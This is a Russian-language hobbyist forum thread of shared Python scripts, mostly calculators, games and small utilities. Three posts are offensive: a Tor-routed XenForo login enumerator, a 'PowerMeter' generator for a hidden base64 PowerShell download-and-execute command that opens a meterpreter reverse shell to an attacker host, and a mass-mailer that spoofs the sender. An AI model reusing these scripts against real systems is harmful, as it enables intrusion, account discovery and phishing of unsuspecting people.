Ваши программы на Python

fuzscore

Well-known member
21.09.2016
77
183
BIT
0
В этой теме вы можете размещать свои программы написанные на Python3

Представлю свой калькулятор написанный еще когда я только начал изучать Python3
калькулятор имеет 5 видов действий и ничего экстраординарного )
умножение , деление , сложение , вычитание , степень
скрипт сохранен в качестве раритета ) и не думаю что будет изменятся
Python:
print("Калькулятор")
print("1)Умножение 2)Деление 3)Сложение 4)Вычитание 5)Степень")
choose = int(input("Выберите действие "))
while choose == 1:
    print("Умножение")
    x = int(input("Введите первое число "))
    y = int(input("Введите второе число "))
    z = x * y
    print("Результат", z)
while choose == 2:
    print("Деление")
    x = int(input("Введите первое число "))
    y = int(input("Введите второе число "))
    z = x / y
    print("Результат", z)
while choose == 3:
    print("Сложение")
    x = int(input("Введите первое число "))
    y = int(input("Введите второе число "))
    z = x + y
    print("Результат", z)
while choose == 4:
    print("Вычитание")
    x = int(input("Введите первое число "))
    y = int(input("Введите второе число "))
    z = x - y
    print("Результат", z)
while choose == 5:
    print("Степень")
    x = int(input("Введите первое число "))
    y = int(input("Введите Степень "))
    z = x ** y
    print("Результат", z)
 
R

rrrFer

Все замечательно, но я предлагаю описывать как это работает и код стараться выкладывать не (не только) в файле, но и текстом в сообщении. Все это индексируется и улучшает посещаемость. Описание кода опять же новичкам поможет :).
 

fuzscore

Well-known member
21.09.2016
77
183
BIT
0
Все замечательно, но я предлагаю описывать как это работает и код стараться выкладывать не (не только) в файле, но и текстом в сообщении. Все это индексируется и улучшает посещаемость. Описание кода опять же новичкам поможет :).
тогда все лучше под спойлером прятать иначе со временем код будет растягиваться на несколько страниц :)
 

ghost

Well-known member
12.05.2016
1 636
3 289
BIT
0
Взято из .
Версия Python: 2.7
Описание:
Перебор для форумов xenforo. Пока как чекер логинов на существование. Однопотоковый, может кому для изучения полезно будет просто проверить логины,пассы. Если доработать то может стать нормальным брутом. На подобных форумах в новых версиях при трех заходах с одного логина капчу требуют.
Python:
#!/usr/bin/env python2
# coding: utf8

import requests, re, socks, socket
import sys

socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, "127.0.0.1", 9050)
socket.socket = socks.socksocket

user_agent = {'User-agent': 'Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1667.0 Safari/537.36'}
cookie = {'xf_session': 'dfb7a7d06d9affbbcc4c0ebe7c7fdf7f', 'cf_captcha':'82659', 'PHPSESSID':'ru13pub7pp3hr6emkin592gna0'}

def check(url2, logins, log=0):
    url = url2 + '/login/login'
    goods = []

    for i in logins:
        check = None
 
        if log == 1:
            print "Check user - " + i
        r = requests.post(url, data = {'login':i,'register':'0','password':i,'cookie_check':'1'}, headers = user_agent, cookies=cookie)

        try:
            check = re.findall('Неверный пароль', r.content)[0]
        except:
            pass

        if check:
            if log == 1:
                print "User exist"
            print i
            goods.append(i)
 
    return goods

def main():
    try:
        url1 = sys.argv[1]
        file2 = sys.argv[2]
 
        o = open(file2,'r')

        users = []
        for i in o:
            i2 = i.rstrip('\r\n')
            users.append(i2)
        o.close()
 
        check(url1, users)
   
    except IndexError:
        print "Неправильные параметры"

    except IOError:
        print "Нет такого файла"

if __name__ == "__main__":
    main()
 
Последнее редактирование модератором:
  • Нравится
Реакции: darklight и 111
R

rrrFer

Я бы кидал исходники не в тему, а в подраздел. На один исходник - одна тема.
 
Последнее редактирование модератором:
  • Нравится
Реакции: rLae и id2746
U

uzverss

В этой теме вы можете размещать свои программы написанные на Python3

Представлю свой калькулятор написанный еще когда я только начал изучать Python3
калькулятор имеет 5 видов действий и ничего экстраординарного )
умножение , деление , сложение , вычитание , степень
скрипт сохранен в качестве раритета ) и не думаю что будет изменятся

это скучный калькулятор, обернуть eval(input('> ')) веселее будет, можно не только цифры, но и буквы складывать
к тому же, такой числовой фокус с ним не проделать: 0.1+0.1+0.1-0.3
 
B

buzzi

Возможно, кому-нибудь пригодится пример работы связки python + pycurl + TOR.
Приступаем, и так, в первую очередь нам необходим сам TOR, качаем Expert Bundle и запускаем tor.exe, служба TOR запущена и работает.
В следующем листинге функция которая будет нам возвращать наш внешний IP, получать его будем с сайта 2ip.ru:
Python:
# -*- coding: utf-8 -*-

import pycurl
from StringIO import StringIO


def GetMyIP():
    curl_buffer = StringIO() # Создаем объект буфера куда будет записываться результат запроса
    curl_obj = pycurl.Curl() # Создаем pycurl-объект
    curl_obj.setopt(pycurl.URL, "2ip.ru") # Настройка объекта "куда бежать"
    curl_obj.setopt(pycurl.WRITEDATA, curl_buffer) # теперь указываем куда пишем ответ от сервера
    curl_obj.setopt(pycurl.PROXY, '127.0.0.1') # заворачиваем прокси на себя
    curl_obj.setopt(pycurl.PROXYPORT, 9050) # и указываем порт для подключения к нему
    curl_obj.setopt(pycurl.PROXYTYPE, pycurl.PROXYTYPE_SOCKS5) # задаем тип прокси
    try:
        curl_obj.perform() # Подготовка и отправка запроса
        curl_obj.close()   # Закрытие curl-объекта
        body = curl_buffer.getvalue()  # Получаем строку с ответом от сервера из буфера
        for line in body.split('\n'):  # Ищем строку в HTML-коде страницы в которой указан наш адрес
            if 'clip.setText' in line:
                return(line.strip().replace('clip.setText', 'Наш текущий IP - '))
    except pycurl.error:   # Отлавливаем ошибки соединения
        curl_obj.close()   # В любом случае нужно закрыть curl-объект
        return("Возникла ошибка при попытке соединения...")
Сервис переодически будет обновлять цепочку, но если вы хотите обновлять ее чаще вам придется, естественно, перезапускать процесс tor.exe
С этой нелегкой и муторной задачей нам поможет модуль subprocess.
Следующий листинг - функция, которая убивает запущенный процесс и запускает его заново:
Python:
import subprocess
from time import sleep


def tor_restart():
    subprocess.Popen('taskkill /f /FI "IMAGENAME eq tor.exe"') # передаем в коммандную строку команду убить процесс с именем tor.exe
    sleep(0.5)                                                 # ждем 500 мс до полной остановки процесса
    subprocess.Popen(ptch_to_torexe)                           # запускаем заново процесс
 

<~DarkNode~>

~^M1st3r_Bert0ni^~
Platinum
19.10.2016
722
3 099
BIT
0
PowerMeter script [Python2.7]
Набросал простенький скриптец на питоне
Генерирует однострочную команду для PowerShell в Bas64 кодировке используя Invoke-Shellcode от PowerSploit для получения метерпретер сессии)
Python:
#!/usr/bin/python2.7
# -*- coding: utf-8 -*-


import re
import base64
from termcolor import colored


def banner():
    print colored("""
===============================================================================

#####                          #######           #     #                     
#     #  ####  #####  #####     #     # ######    #     #   ##    ####  #    #
#       #    # #    # #    #    #     # #         #     #  #  #  #    # #   # 
#       #    # #    # #    #    #     # #####     ####### #    # #      ####  
#       #    # #####  #####     #     # #         #     # ###### #      #  #  
#     # #    # #   #  #         #     # #         #     # #    # #    # #   # 
#####   ####  #    # #         ####### #         #     # #    #  ####  #    #
                                                                              
           ____                             __  __      _           
          |  _ \ _____      _____ _ __     |  \/  | ___| |_ ___ _ __
          | |_) / _ \ \ /\ / / _ \ '__|____| |\/| |/ _ \ __/ _ \ '__|
          |  __/ (_) \ V  V /  __/ | |_____| |  | |  __/ ||  __/ |  
          |_|   \___/ \_/\_/ \___|_|       |_|  |_|\___|\__\___|_|  
                                                                    



   
Powershell_Meter script  is a PowerShell Command Generator.
Written by [Mister Bert0ni|DarkNode] <Corp Of Hack Team> <Wired Hawks Team> <CodeBy Team>
[[Contacts]] ::: <https://new.vk.com/byhackers>
[[YouTube]]  ::: <https://www.youtube.com/c/CorpOfHack>
===============================================================================
""","cyan")
   

def powershell_encode(data):
    # blank command will store our fixed unicode variable
    blank_command = ""
    powershell_command = ""
    # Remove weird chars that could have been added by ISE
    n = re.compile(u'(\xef|\xbb|\xbf)')
    # loop through each character and insert null byte
    for char in (n.sub("", data)):
        # insert the nullbyte
        blank_command += char + "\x00"
    # assign powershell command as the new one
    powershell_command = blank_command
    # base64 encode the powershell command
    powershell_command = base64.b64encode(powershell_command)
    return powershell_command


def metasploit():
    print colored("[*]PowerShell генератор для Metasploit-Framework с ипользованиевм PowerSploit.","yellow")
    print colored("Оригинал можно взять здесь:","green")+ colored("https://raw.github.com/mattifestation/PowerSploit/master/CodeExecution/Invoke-Shellcode.ps1\n\n","cyan")
    ans_lhost = raw_input("Введите IP адрес атакующей машины(LHOST): ")
    ans_lport = raw_input("Введите Порт листенера атакуещей машины(LPORT): ")
  
    print colored("\n[*]Наша команда для PowerShell:","yellow")
    x = powershell_encode("IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/cheetz/PowerSploit/master/CodeExecution/Invoke--Shellcode.ps1'); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost "+ans_lhost+" -Lport "+ans_lport+" -Force")
    print colored("powershell.exe -NoP -NonI -W Hidden -Exec Bypass -enc " + x,"red")
    print colored("\n[*]Команды для metasploit-framework(Вы можете сохранить эту последовательность команд в файл listener.rc и запустить msfconsole -r listener.rc или же прямо из запущеной консоли метаслоита: resourse listener.rc","yellow")
    print colored("use multi/handler \nset payload windows/meterpreter/reverse_https \nset LHOST " + ans_lhost + "\nset LPORT " + ans_lport + "\nset ExitOnSession false \nexploit -j","green")

banner()
metasploit()

 

redscout

One Level
04.09.2016
2
6
BIT
0
e58J4KgRRQM.jpg

Накидал калькулятор, т.к. надоело каждый раз складывать, умножать и дважды проверять рассчеты, может кому пригодится. Входные данные можно подогнать под себя.

Python:
#ЗДЕСЬ ПЕРЕЧИСЛЕНЫ СТАТИЧЕСКИЕ ДАННЫЕ
#Газ
gas = 67.64
#Домофон
domofon = 38
#Места общего пользования
common_areas = 127.25
#Содержание
content = 469.65
#Капитальный ремонт
overhaul = 196.95
#Отопление
heat = 932.63
#Сумма
total_static = gas + domofon + common_areas + content + overhaul + heat

print("Газ: ", gas, "рублей")
print("Домофон: ", domofon, "рублей")
print("Места общего поьзования: ", common_areas, "рублей")
print("Содержание: ", content, "рублей")
print("Капитальный ремонт: ", overhaul, "рублей")
print("Отопление: ", heat, "рублей")
print()
print("Итого: ",total_static, "рублей")
print()

#ЗДЕСЬ ПЕРЕЧИСЛЕНЫ ИЗМЕНЯЕМЫЕ ДАННЫЕ
#Горячая вода
hot_water_value = int(input("Введите количесво кубов горячей воды: "))
hot_water_index = 153.08
hot_water_total = hot_water_value * hot_water_index
print(hot_water_total, "рублей")

#Холодная вода   
cold_water_value = int(input("Введите количество кубов холодной воды: "))
cold_water_index = 21.89
cold_water_total = cold_water_value * cold_water_index
print(cold_water_total, "рублей")

#Канализация
sewerage_value = int(input("Введите сумму кубов горячей и холодной воды: "))
sewerage_index = 15.62
sewerage_total = sewerage_value * sewerage_index
print(sewerage_total, "рублей")

#Электричество
electricity_value = int(input("Введите количество КВ: "))
electricity_index = 4.8
electricity_total = electricity_value * electricity_index
print(electricity_total, "рублей")

#Коммуналка
utilities = total_static + hot_water_total + cold_water_total + sewerage_total + electricity_total
print("Коммунальные услуги составляют: ",utilities, "рублей")

#Аренда
rent = 8200
print("Аренда составляет: ",rent, "рублей")
print()

#Итоговая сумма
sum = utilities + rent

print("Итого: ", sum, "рублей" )
 
Последнее редактирование:
R

rloops

SIMPLE CONSOLE CHAT

Python:
#!usr/bin/env python3
# coding: utf8

import socket, threading

def send():
    while True:
        message = input('')
        if message == '':
            print('empty message')
            continue
        conn.send(message.encode())

def read():
    while True:
        data = conn.recv(1024)
        if data:
            udata = data.decode('utf-8')
            print(' \u2192 ' + udata)


if __name__ == '__main__':

    IP = '127.0.0.1'
    PORT = 6060

    while True:

        mode = input('s or c \u2192 ')

        if mode == 's':
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.bind((IP, PORT))
            sock.listen(1)
            print('...')
            conn, addr = sock.accept()
            print('you can to send message - WRITE and PRESS "enter"')
            t_r = threading.Thread(target = read)
            t_r.start()
            t_s = threading.Thread(target = send)
            t_s.start()
            break

        elif mode == 'c':
            conn = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            conn.connect((IP, PORT))
            print('you can to send message - WRITE and PRESS "enter"')
            t_r = threading.Thread(target = read)
            t_r.start()
            t_s = threading.Thread(target = send)
            t_s.start()
            break

        else:
            print('incorrect mode')
            continue
 

Вложения

  • Screenshot from 2017-01-19 14-40-22.png
    Screenshot from 2017-01-19 14-40-22.png
    106,1 КБ · Просмотры: 806
Последнее редактирование модератором:
  • Нравится
Реакции: Tihon49

fuzscore

Well-known member
21.09.2016
77
183
BIT
0
Код:
import tkinter
from tkinter import *
import random as r


root = Tk()
root.geometry("300x100")
root.title("Pass Gen")
ent = Entry(root, width = 2)
but = Button(root, text = "gen",
             width = 12, height = 2,
             bg = "black", fg = "white")
tex = Text(root, width = 22, height = 3, wrap = WORD)
def out(event):
    x = ent.get()
    x = int(x)
    def give_me_pass(x):
        tex.delete(1.0, END)
        pwd = "abcdefghijklmopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890!@#$%^&*"
        count = 0
        final_pass = ""
        while True:
            pas = r.choice(pwd)
            if pas not in final_pass:
                final_pass += pas
                count += 1
            else:
                pass
            if count == x:
                tex.insert(END, final_pass)
                break
            if x > 30:
                tex.insert(END, "please use number less than 30")
                break
    give_me_pass(x)




tex.pack(side = "right")
but.bind("<Button-1>", out)
but.pack(side = "left")
ent.pack(side = "top")
root.mainloop()
не забудьте установить модуль tkinter
Безымянный.png

перехвата исключения нет , буквы не вбивайте))
 
Последнее редактирование:
  • Нравится
Реакции: Vander и <~DarkNode~>
C

Cherimoya Eihn

while choose == 2:
print("Деление")
x = int(input("Введите первое число "))
y = int(input("Введите второе число "))
z = x / y
print("Результат", z)

он у тебя при делении на ноль не слетает? ))
 
E

ExplodingBanana

Хз зачем, но я накатал процесс-киллер
Закомментировал почти каждую строку
Python:
from tkinter import * #Подключаем Tkinter
import os #Подключаем os

def button_clicked(): #Действия, выполняемые по нажатию кнопки
    pid = entry.get()
    os.kill(int(pid), 9)

root=Tk() #Пускаем Tkinter
pid = 0 #Обнуляем pid
entry = Entry(pid) #Объявляем поле ввода
button = Button(root, bg="red", text=u"Kill!", command=button_clicked) #Объявляем кнопку
button.pack() #Пакуем кнопку
entry.pack() #Пакуем поле ввода
root.mainloop()
 

Your 2B wify

Green Team
01.06.2018
96
21
BIT
0
Python функция для массовой рассылки, очень удобное решение когда нужно отправлять много одинаковых писем+можно подменить отправителя

Python:
def send_mail(mail_receiver,body,subject):
    mail_sender =''# должен быть такой же как логин
    username = ''
    password = ''
    server = smtplib.SMTP_SSL('smtp.yandex.com:465')
    # СМТПи сервера с ссл с портом
    msg = MIMEText(body, 'plain', 'utf-8')#utf-8
    msg['Subject'] = Header(subject, 'utf-8')
    msg['From'] = ''# а вот и плюшка, сдесь можно написать любой адрес и от его лица придёт письмо

    # блок отрпавки
    server.ehlo()
    server.login(username, password)#авторизация на сервер
    server.sendmail(mail_sender, mail_receiver, msg.as_string())
    server.quit()
    print("sended")
send_mail("кому","тело письма","загаловок")
Так же потратив 10 минут времени можно сделать подключение текстового файла с получателями и отправителем(если юзаешь подмену отправителя)
 

explorer

Platinum
05.08.2018
1 080
2 475
BIT
0
Калькулятор безубытка для криптотрейдеров с GUI.

Описание:

Если после покупки монет цена пошла вниз, и вы заинвестировались,
то лучшим выходом будет перезакупиться по цене ниже,
с последующей продажей обоих лотов одним скопом выше.

Этот калькулятор поможет рассчитать точную цену
для выхода из убыточной сделки в ноль c учётом комиссии биржи.

Пример:

Монеты куплены цене 300 сатошей лотом 0.1 BTC
Перезакуп по цене 200 сатошей лотом 0.15 BTC
Комиссия биржи со сделки 0.2%

Итого - чтобы выйти в ноль, нужно все монеты продать по цене 232 сатоши.

Python:
from tkinter import *

# Base64 encoded icon
icon = '''
iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAACfXpUWHRSYXcgcHJvZmlsZSB0eXBlIGV4aWYAAHjarZRpjt4wCIb/+xQ9ggED9nEcL1Jv0OP3xck301Gnm1SjxEsIEB5IWt++7vQlhltJRb1aM8sYpZXGHYua71HOnc5M+dnk1+LDeXo9IMaR/KD5zBIvMLb27Nc96+0k27Jt0yiZuHDmyYgnDsxNsR62XaGEXbx9ro+O7M0hR2Tp9cAfTzjmH0N2j3jex96z7r3uL+7FkI4wSel86zFvL8ULyZGTKYM4LsXajzRIzT0PKnnmkS/IoEacSPKmQpM6bVpnHjQQVuHFjpl5sJyzKs6NhyBvUkJos0uTKVU4yeAlgmN+i4WO33b8DarwPAmqTDBGwp9L+tWDf5VjaO8R+aKoH7rzjLg4kowwglbcoQUItB9WerL7ElD7OAKmgJqeNFd8YM/XbeJSuqlGGchhK9BTzOU2RD4fA0gRfCuCIQGBbCRKRtmZnQh5rADUETlL4QsESJUnguSSRAxwKodvvON0dFn5PkbLAIRK1G0FoQ5YpSjqx0tFDXUVLapqSV2rNu0mVkzNUMvRe93Fi6ubu1dv3qvUUrVa9Vprq71xE7SmNmveamup9Q6nHaY73u7Q6P3iS65y6WWXX/VqVx8on1GGDhs+6mijT54yy9Rp02edLc2+aKGUVlm6bPmqq62+UWtbdtm60XS77rb7GzV6Ou+DpPf/wl9Qo4caH1Kh5+/UcIzGfExQ/GM0mIEYFwJxDwIoaA5muVIpHOSCWW6MplBGkJoCzqQgxgCyiHXTG7t3cn/kltT+mhv/jlwKdP+DXAp0IPczt0+ozfifj0Ps7sLIaRZ0325pr9q59vij7dmQ/e+cO2MahWIosAAAAAlwSFlzAAAOxAAADsQBlSsOGwAAAGxJREFUOI1jYKAh+I9GYwVMlNrCiMNWYtVjuGAvAwPDDzwGELIARSF6GCCL4XQByQDDT2i2ElRPyAV7ofQvJIOJCgdsYXCLUgP+M2AxgAWLk+XRDEKmGRgYGH4TYzMuPJcY5+OzHQNQnA4oBgDr1Cmq0V62UAAAAABJRU5ErkJggg==\n
'''

# Function for convert image to Base64 string
import base64
def getBase64OfFile(file_name):
    with open(file_name, "rb") as file:
        print(base64.b64encode(file.read()))

def calc():
    ret ="--------------------------------------------------"
    ret += "\n" + " Объём сделки 1:  " + "%-10s" % volume1_entry.get()
    ret += "   Цена 1: " + price1_entry.get() + "\n"
    ret += " Объём сделки 2:  " + "%-10s" % volume2_entry.get()
    ret += "   Цена 2: " + price2_entry.get() + "\n"
    ret += " Комиссия: " + percent_entry.get() + "\n"
        
    ret1 = "Введите число больше 0" + "\n"
    ret2 = "Ошибка ввода! Введите число больше 0" + "\n"
    ret3 = "Комиссия % не более 2-х знаков после запятой!" + "\n"
    ret4 = "Введите не более 8 знаков после запятой!" + "\n"
    ret5 = "Комиссия % не более 2-х знаков до запятой!" + "\n"
    
    try:
            percent = float(percent_entry.get().replace(',', '.'))
            volume1 = float(volume1_entry.get().replace(',', '.'))
            volume2 = float(volume2_entry.get().replace(',', '.'))
            price1 = float(price1_entry.get().replace(',', '.'))
            price2 = float(price2_entry.get().replace(',', '.'))           
    except ValueError:
        return calculated_text.insert(END, ret2)
    if percent <= 0 or volume1 <= 0 or volume2 <=0 or price1 <= 0 or price2 <= 0:       
        return calculated_text.insert(END, ret1)
    if percent != round(percent,2):
        return calculated_text.insert(END, ret3)
    if percent > 99:
        return calculated_text.insert(END, ret5)       
    if volume1 != round(volume1,8) or volume2 != round(volume2,8) or price1 != round(price1,8) or price2 != round(price2,8):
        return calculated_text.insert(END, ret4)       
        
    i = (volume1/price1)+(volume2/price2)
    a = ((100+percent)*(volume1+volume2))/100
    z = a/i
    y = z/((100-percent)/100)   
    ret += (" Цена для выхода в ноль: {price:0.8f}\n".format(price=y))
    
    calculated_text.insert(END, ret)     
    
def clear():
    volume1_entry.delete('0', END)
    volume2_entry.delete('0', END)
    percent_entry.delete('0', END)
    price1_entry.delete('0', END)
    price2_entry.delete('0', END)
    
def erase():   
    calculated_text.delete('1.0', END)
 
root = Tk()
root.resizable(width=False, height=False)
root.title("Калькулятор безубытка")
root.geometry("420x300+300+300")
calculated_text = Text(root,height=10, width=50)

volume1_label = Label(text=" Объём сделки 1")
volume2_label = Label(text=" Объём сделки 2")
price1_label = Label(text="Цена 1")
price2_label = Label(text="Цена 2")
percent_label = Label(text=" Комиссия %")
 
volume1_label.grid(row=0, column=0, sticky="w")
volume2_label.grid(row=1, column=0, sticky="w")
percent_label.grid(row=2, column=0, sticky="w")
price1_label.grid(row=0, column=2, sticky="w")
price2_label.grid(row=1, column=2, sticky="w")
 
volume1_entry = Entry(width=10, justify=CENTER)
volume2_entry = Entry(width=10, justify=CENTER)
percent_entry = Entry(width=10, justify=CENTER)
price1_entry = Entry(width=10, justify=CENTER)
price2_entry = Entry(width=10, justify=CENTER)
 
volume1_entry.grid(row=0,column=1, padx=5, pady=5)
volume2_entry.grid(row=1,column=1, padx=5, pady=5)
percent_entry.grid(row=2,column=1, padx=5, pady=5)
price1_entry.grid(row=0,column=2, padx=53, pady=5)
price2_entry.grid(row=1,column=2, padx=53, pady=5)
 
# вставка начальных данных
volume1_entry.insert(0, "0.1")
volume2_entry.insert(0, "0.15")
percent_entry.insert(0, "0.2")
price1_entry.insert(0, "0.00000300")
price2_entry.insert(0, "0.00000200")

#добавление кнопок
display_button = Button(text="Вывести", command=calc)
clear_button = Button(text="Сбросить", command=clear)
erase_button = Button(text="Очистить результаты", command=erase)
 
display_button.grid(row=3, column=0, padx=5, pady=5, sticky="e")
clear_button.grid(row=3, column=1, padx=5, pady=5, sticky="e")
erase_button.grid(row=3, column=2, padx=25, pady=5, sticky="w")
calculated_text.grid(row=4, column=0, sticky='nsew', columnspan=3)

scrollb = Scrollbar(root, command=calculated_text.yview)
scrollb.grid(row=4, column=4, sticky='nsew')
#calculated_text['yscrollcommand'] = scrollb.set
calculated_text.configure(yscrollcommand=scrollb.set)

# Set icon to the windows title
img = PhotoImage(data=icon)
root.tk.call('wm', 'iconphoto', root._w, img)
#root.iconbitmap("bitcoin.ico")
#getBase64OfFile("bitcoin.png")

root.mainloop()
 

explorer

Platinum
05.08.2018
1 080
2 475
BIT
0
Калькулятор сложного процента.

Описание:


Сложный процент - это когда у Вас есть сумма на счету и раз в определённый период (например в месяц, или день), на эту сумму добавляется некий %.
Если со счёта ничего не снимается, то в следующий период % насчитывается уже не на первоначальную сумму а на сумма+%.
Таким образом, инвестиции увеличиваются гораздо интереснее.

Пример:

На счёте 0.1 BTC, вы торгуете на бирже, каждый день увеличивая счёт на 10%.
В результате через 30 дней сумма уже вырастет до 1.74 битка.

Выглядит фантастически, но у меня на декабрьском хайпе 2017 вышло даже больше.
Можно считать что угодно, рубли например, вбивая банковские ставки.

Python:
from tkinter import *
from tkinter import messagebox
 
def calc():
    
    ret = "Начальный капитал: " + kapital_entry.get() + "\n"
    ret += "Количество периодов: " + period_entry.get() + "\n"
    ret += "Процент за период: " + percent_entry.get() + "\n"
    ret +="_________________________________________________________" + "\n"

    
    ret1 = "Введите число больше 0"
    ret2 = "Ошибка ввода! Введите число больше 0"
    ret3 = "Введите ЦЕЛОЕ число больше 0"
    try:
            percent = float(percent_entry.get().replace(',', '.'))
            kapital = float(kapital_entry.get().replace(',', '.'))
    except ValueError:
        return ret2
    if percent <= 0 or kapital <= 0:       
        return ret1
    try:
           period = int(period_entry.get())
    except ValueError:
        return ret3
    if period <= 0:
            return ret3
    
    for i in range(int(period_entry.get())):
        kapital += kapital*(percent/100)
        ret += ("Прошло периодов: " + str(i+1) + "  , на счету теперь:  " + str(round(kapital,8)) + "\n")
        
    return ret
    
def clear():
    kapital_entry.delete(0, END)
    period_entry.delete(0, END)
    percent_entry.delete(0, END)
 
 
def display():
    messagebox.showinfo("Калькулятор", calc())
 
root = Tk()
root.title("Калькулятор")
root.geometry("280x150+300+300")

kapital_label = Label(text="Начальный капитал")
period_label = Label(text="Количество периодов")
percent_label = Label(text="Процент за период")
 
kapital_label.grid(row=0, column=0, sticky="w")
period_label.grid(row=1, column=0, sticky="w")
percent_label.grid(row=2, column=0, sticky="w")
 
kapital_entry = Entry()
period_entry = Entry()
percent_entry = Entry()
 
kapital_entry.grid(row=0,column=1, padx=5, pady=5)
period_entry.grid(row=1,column=1, padx=5, pady=5)
percent_entry.grid(row=2,column=1, padx=5, pady=5)
 
# вставка начальных данных
kapital_entry.insert(0, "0.1")
period_entry.insert(0, "30")
percent_entry.insert(0, "10")
 
display_button = Button(text="Вывести", command=display)
clear_button = Button(text="Сбросить", command=clear)
 
display_button.grid(row=3, column=0, padx=5, pady=5, sticky="e")
clear_button.grid(row=3, column=1, padx=5, pady=5, sticky="e")
 
root.mainloop()
 
S

sasha20l

Первая игра что у меня получилась.
Она не красивая в плане кода, но зато работает и не имеет дыр.
Смысл игры в том что мы соревнуемся в угадывании различных чисел и побеждает тот кто ближе всего.

Код:
'''

import random

list = {}
list_raznost = {}
def players ():
    players_number = 1
    while True:
        print ("Введите игрока № ",players_number," или end для начала игры")
        players_input = str(input("Введите игрока = "))
        if players_input == "end":
            break
        else:
            print ("Игрок № ",players_number," - ",players_input," ?")
            if yes_no () == True:
                list[players_input] = 0
                players_number = players_number+1

def yes_no ():
    while True:
        yes_no_input = str(input("Введите 1 - Да или 2 - Нет :"))
        if yes_no_input == "1":
            return True
            break
        elif yes_no_input == "2":
            return False
            break
        else:
            print ("Значение ",yes_no_input," не корректно")

def random_n():
    while True:
        try:
            random_input = int(input("Введите максимальное значение для угадывания: "))
            ran_nums = abs(int(random.random()*int(random_input)))
            return ran_nums
        except ValueError:
            print ("Введите числовое значение")
            
def game():
    for player in list:
        print ("Игрок ",player," введите Ваше значение: ")
        while True:
            try:
                player_input = int(input("Я считаю что это: "))
                print ("Вы уверены ?")
                if yes_no () == True:
                   break
            except ValueError:
                print ("Введите числовое значение")
        raznost = player_input - ran_nums
        list_raznost[player] = abs(raznost)
    winner = min(list_raznost)
    print("Победил ",winner,", его значение было ближе всего")
    print("Всего в ",abs(raznost),"цифрах от загаданного значения ",ran_nums)
    print("Хотите еще поиграть ?")
ran_nums = random_n()
players()
game()
while True:
    if yes_no () == True:
        random_n()
        game()
    else:
        break
 
  • Нравится
Реакции: Tihon49, Глюк и Vander
S

sasha20l

Крестики нолики. Писал сам с нуля, отчего код громострий, страшный и запутанный.
Возможно Вы тоже когда только начинали, писали нечто подобное))
Скажем так, получились не типовые крестики нолики)

Код:
nolik = '\033[92mO\033[0m'
krestik = '\033[91mX\033[0m'
play_1 = '\033[92mИгрок № 1\033[0m'
play_2 = '\033[91mИгрок № 2\033[0m'

Player_1 = [nolik,0,play_1]
Player_2 = [krestik,0,play_2]
Players = [Player_1,Player_2]

pole_nums = {'num_1':1,'num_2':2,'num_3':3,'num_4':4,
    'num_5':5,'num_6':6,'num_7':7,'num_8':8,'num_9':9}
list = []
def pole ():
    print ("","","-------------------","\n"," | ",pole_nums['num_1']," | ",pole_nums['num_2']," | ",pole_nums['num_3'],
    " | ","\n"," -------------------","\n"," | ",pole_nums['num_4']," | ",pole_nums['num_5'],
" | ",pole_nums['num_6']," | ","\n"," -------------------","\n"," | ",pole_nums['num_7']," | ",
pole_nums['num_8']," | ",pole_nums['num_9']," | ","\n"," -------------------")

def Player_input():
    while True:
        try:
            Pl_input = int(input("Укажите клетку c цифрой: "))
            if Pl_input > 9:
                pole ()
                print ("Введите значение от 1 до 9")
            elif Pl_input < 1:
                pole ()
                print ("Введите значение от 1 до 9")
            else:
                return Pl_input
        except ValueError:
            pole ()
            print ("Введите целое числовое значение")
def proverka():
    while True:
        num = Player_input()
        if num not in list:
            return num
        else:
            pole ()
            print('Эта клетка уже занята!')
def game():
    for pl in Players:
        print(pl[2],"Вам необходимо указать клетку c цифрой от 1 до 9","\n",
        "где будет стоять Ваш",pl[0])
        pole ()
        num = proverka()
        list.append(num)
        for i in range(1,10):
            if num == i:
                i = str(i)
                pole_nums['num_'+i]=pl[0]
                pole ()
                win(pl)

def win(pl):
    if pole_nums['num_1'] == pole_nums['num_2'] == pole_nums['num_3']:
        winner(pl)
    elif pole_nums['num_4'] == pole_nums['num_5'] == pole_nums['num_6']:
        winner(pl)
    elif pole_nums['num_7'] == pole_nums['num_8'] == pole_nums['num_9']:
        winner(pl)
    elif pole_nums['num_1'] == pole_nums['num_4'] == pole_nums['num_7']:
        winner(pl)
    elif pole_nums['num_2'] == pole_nums['num_5'] == pole_nums['num_8']:
        winner(pl)
    elif pole_nums['num_3'] == pole_nums['num_6'] == pole_nums['num_9']:
        winner(pl)
    elif pole_nums['num_1'] == pole_nums['num_5'] == pole_nums['num_9']:
        winner(pl)
    elif pole_nums['num_7'] == pole_nums['num_5'] == pole_nums['num_3']:
        winner(pl)
    elif len(list) == 9:
        pole_nums ['num_1'] = 1
        pole_nums ['num_2'] = 2
        pole_nums ['num_3'] = 3
        pole_nums ['num_4'] = 4
        pole_nums ['num_5'] = 5
        pole_nums ['num_6'] = 6
        pole_nums ['num_7'] = 7
        pole_nums ['num_8'] = 8
        pole_nums ['num_9'] = 9
        del list[:]
        print("Ничья!!!")

def winner(pl):
    pl[1] = pl[1]+1
    print(pl[2]," победил в ",pl[1]," раз!")
    print("~"*20,"ТАБЛИЦА РЕКОРДОВ","~"*20,"\n","\n",play_1,"   победил   ",
    Player_1[1]," раз","\n","\n",play_2,"   победил   ",
    Player_2[1]," раз","\n","\n")
    pole_nums ['num_1'] = 1
    pole_nums ['num_2'] = 2
    pole_nums ['num_3'] = 3
    pole_nums ['num_4'] = 4
    pole_nums ['num_5'] = 5
    pole_nums ['num_6'] = 6
    pole_nums ['num_7'] = 7
    pole_nums ['num_8'] = 8
    pole_nums ['num_9'] = 9
    del list[:] 
while True:
    game()
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!